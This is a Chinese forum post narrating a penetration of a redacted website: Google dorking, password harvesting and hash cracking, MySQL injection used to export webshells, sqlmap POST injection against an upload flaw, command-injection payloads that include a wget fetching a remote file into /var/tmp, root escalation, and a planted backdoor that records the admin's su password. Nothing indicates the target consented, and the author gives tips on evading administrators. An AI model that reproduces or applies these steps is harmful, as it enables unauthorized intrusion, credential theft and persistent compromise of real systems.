WEB渗透检测纪实(一)

2013-05-10 12:36:00 62 8850 6
(一) 踩点
    1  目标www.xxx.com,一般信息搜集我都会先google,至于怎么搜索网上说的很 详细了。其实google的作用还是很大的!看我的常用搜索方法:site:.xxx.com error 这个能爆出很多错误信息,比如路径,某个页

面的包含路径不存在,mysql错误信息。

图1


2  又或者 site:.xxx.com download等等。

   其中搜索出来的报错信息是 xxx.xxx.com/commom/xxxx.php?....然后我继续site:.xxx.com inurl:xxxx.php

或者site:.xxx.com inurl:commom 等等看情况而定,灵活运用google很重要.在这里对目标进行搜索中,发现二级域名和主站在一个ip上。扫描主站和二级域名目录出现404页面,无法扫描目录。url地址栏中输入单

引号时,被防火墙拦截。

当用site:.xxx.com inurl:commom时出现

图2


此时找到了某个二级域名
http://xxxx.xxx.com/common/xxxxx.php?fname=xxxx.com:00000/xxxxx/xxxx.pdf

吐槽1:其实搜索很重要。特别是对于目标比较大时。而且不要放过任何有价值的东西,比如二级域名相似代码,相同页面报错等等。也许你此时觉得没用,但是当你在进一步渗透过程中,所显示的作用就不一般了。


(二)信息收集
   
       打开看之后是登录界面。尝试输入万能密码。其中 输入’or’=’or’时报错。心想这里要么就是注入,要么就可以构造语句直接登录。

图3


还是oracle数据库,尝试各种方法都没有成功,然而此时扫描其目录,发现此二级域名没有防火墙。一根烟的时间,扫描的结果还是令人兴奋。
图4


第一个想到的是fckeditor,当看到版本是2.6时,希望渺然。

图5


而且fckeditor不完整,某些页面删除了。Fckeditor此路不通。得到phpinfo文件。

图6


内核版本好低,而且网上有2.6.9的通杀exp!
打开扫描到的各种信息,其中某些文件里头有各种数据库密码
图7


图8


收集各种密码,各种ip 。

  吐槽2:每个人的信息收集方式都不同,我就喜欢针对账号密码放入一个文件里面,没有思路时候就看看账号和密码。也是某个站点。已经下载了几台etc目录的备份文件,shadow中的密码破解不了,手里有一个root密码 是 xxxxxx44,在一个不起眼的文件里面,发现了一个密码是xxxxxx11,此时我生成xxxxxx1-100的字典,整理各个shadow文件中roothash 放入john 加载字典,直接跑出来了几个root密码。然后,然后就没有了。



(三)按部就班

     此时想到的集中思路:
   A,.页面内存在upload文件,看是否能上传文件。
   B.找注入点,对每个页面进行访问,手工判断,工程量挺大,需要耐心。
   C.收集到的ftp密码,数据库信息尝试远程连接。

   同步工作也在进行,在肉鸡上对主站c段进行扫描,得到的结果只有80 443,唯一的是这个ip开放了21 3306

图9


从目录扫描结果中得到的信息,尝试每个upload文件,上传都没有成功,要么就是出错,要么就是上传后没啥反应,路径找不到。A 思路到此没结果。

在对页面信息查找时,发现一个mysql注入点,而且是root权限,心想导出shell应该不成问题了。
图10


导出到网站目录时,其中网站目录测试了好几个比如图片目录等等都出现
图11


而在tmp目录时却成功了。

网站目录下的文件也没办法读取,只能读取系统配置文件passwd httpd.conf hosts 悲剧啊。B思路也不行了。

继续看收集到的各种数据库密码ftp密码,此时注意到某个ip

图12


此ip不就是开放了21 和3306的ip嘛,当时查看扫描c段的结果是就注意到这个ip了,然而在收集信息密码过程中就非常熟悉。
直接远程连接。

图13


成功连接并且可以查看到mysql user表读取到了 root hash值

图14


Root用户不能远程连接但当看到commom权限和root权限是一样时,心里笑了。

对此拿commom hash值去cmd5下破解 成功得到了密码

其中走了一步弯路,那个时候并没有去破解密码,而是用mysql的hash连接exp连接,并读取文件

图15


这个对 common密码破解不了的时候可以用!

后来直接用菜刀远程连接,读取文件,并且此ip上和我在扫描暴力扫描的二级域名上也有对应

图16

手工去判断了跟目录是否存在phpinfo文件,输入与上个phpinfo文件一样的文件名时

图17

此时找到了网站路径,菜刀连接数据库 读取文件

Select load_file(‘/xxx/xxx/xxx/xx/i.php’)

时成功读取到了文件内容,看来这个root权限比上个root注入点权限大。同样方法导出shell,此时找到了几个图片路径,并且成功导出shell!不过遇到了防火墙。菜刀不能连接。

国外防火墙也封掉菜刀了?用lanker的一句话客户端,成功连接并且wget shell到网站目录下
至此成功拿到了一个shell!

吐槽3:端口扫描在渗透中是必不可少。相同的phpinfo文件名这些都是在渗透中特别注意的,因为管理员都有这个通病,在vi文件时候总喜欢用相同的文件。
某次拿到root权限,不管怎么留shell都被发现,后来查看.bash_history文件发现了管理查找后门的语句,至此留的shell没被发现。所以说摸清管理员的操作习惯也很重要!哪怕是一点点。


(四) 乘胜追击
  
  目前我已经将shell删除,而且还封掉了我ip,这里就只能描述了,没有过多的图片。

  A.274的内核,提权基本不可能,在shell里面翻,其实翻东西主要是看你细心和耐心,以及敏感地抓取到有用的信息。

  B.在274内核机器上存在backup账号 backup目录 看来是备份文件 ,在该目录下有网站代码的备份文件,更重要的是有2.6.9内核机器上的源码!

这里我尝试过的方法有:

  A,查看netstat-an 时有1521端口连接 找到oracle数据库密码连接 ,看是否可以通过创建包来执行命令,拿更多的机器权限。然后再这里连接oracle数据库之后,在创建包的过程中总是出现内存分配失败。版本很低8i的!
  B,下载2.6.9内核机器源码备份文件,
其中读取到某个upload文件时
Add.php
图18


dell.php
图19


上传文件并保存,del.php 文件中ref_seq参数没有过滤直接post注入,add.php文件上没有任何判断,而且将路径写入了数据库里面,上传文件后缀为

$org_name = $file_name.".".$file_key; 此时可以用解析漏洞。直接利用网站的上传文件没有上传成功,本地构造上传几次之后。
在注入查看upfile_main表时是否有文件生成。利用sqlmap post注入

图20


图21


图22


至此找到了路径shell。访问成功拿到shell

图23


吐槽4:oracle在内网中渗透很多人都忽略了。所以尝试1000次哪怕你有一次成功了,就ok!

图24




(五) 直捣黄龙

     反弹,提权成功拿到root权限,读取shadow root密码破解不了,种植后门,记录管理员su密码。
  至此已经拿到了两个shell,一个在c段一个没有。其中在274内核机器上有主站源码,打包回来,搜索cmd exec是居然发现

图25


可以执行任意命令,在本地测试,xxx.php?move_file=as.php|echo ss>.sss.txt

Xxxx.php?move_file=as.php |wget http://xx.com/ss.rar -O /var/tmp/s.php都成功了,然而在目标上没有成功,蛋疼一地啊!

然而在某个时刻,查看netstat -an时眼睛一亮,发现有连接目标的21端口。

Namp 目标发现开了 3306 21 80 443
继续在2.6.9上面翻文件,功夫不负有心人,成功找到了ftp账号和密码! 连接目标的ftp

其中连接ftp后不能ls
26.jpg

27.jpg

通过 passive 开启和关闭 PASV模式, 应该是iptables的原因。至此成功ls目录。至此成功连接,put shell!

吐槽5:总的来说这次渗透,感觉还是有趣的,从A-->B-->A-->目标。有时候本地测试非常重要,你要确保每一步都能成功,不成功被发现的可能就增大,而且失去了机会。
最喜欢的一句话。就算你赚得了全世界,失去了自己,又有神马意义!

求妞!!!!!!!!!严重缺妞!!!!!!!

刚开始我发tools 时总是上传图片不成功。今天咋就好了。

地下0day:

关于作者

yiz32篇文章607篇回复

但知行好事,莫要问前程

评论62次

要评论?请先  登录  或  注册